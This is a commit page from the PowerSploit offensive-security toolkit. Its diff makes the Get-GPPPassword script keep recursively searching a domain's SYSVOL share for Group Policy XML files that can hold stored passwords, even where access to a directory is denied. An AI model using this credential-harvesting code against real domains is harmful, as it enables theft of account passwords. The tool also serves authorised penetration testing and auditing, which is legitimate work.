aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorhajdbo <boris@hajduk.org>2013-08-12 12:04:38 +0200
committerhajdbo <boris@hajduk.org>2013-08-12 12:04:38 +0200
commitc623814116fbefa86576a9d3651c8df59faa12ef (patch)
tree150c03c42420b089e9d20ccbf75144524c8d7c81
parent98be62a03a58d7b78f545cd25f7846f70c674b96 (diff)
downloadPowerSploit-c623814116fbefa86576a9d3651c8df59faa12ef.tar.gz
PowerSploit-c623814116fbefa86576a9d3651c8df59faa12ef.zip
added ErrorAction SilentlyContinue to Get-ChildItem
Sometimes you will have a denied access to a directory. "ErrorAction SilentlyContinue" will continue searching recursively in \SYSVOL even when it encounters a directory where access is denied.
-rw-r--r--Exfiltration/Get-GPPPassword.ps14
1 files changed, 2 insertions, 2 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 7204a45..c905f08 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -64,8 +64,8 @@
if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
- #discover potential files containing passwords
- $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
+ #discover potential files containing passwords ; not complaining in case of denied access to a directory
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
foreach ($File in $XMLFiles) {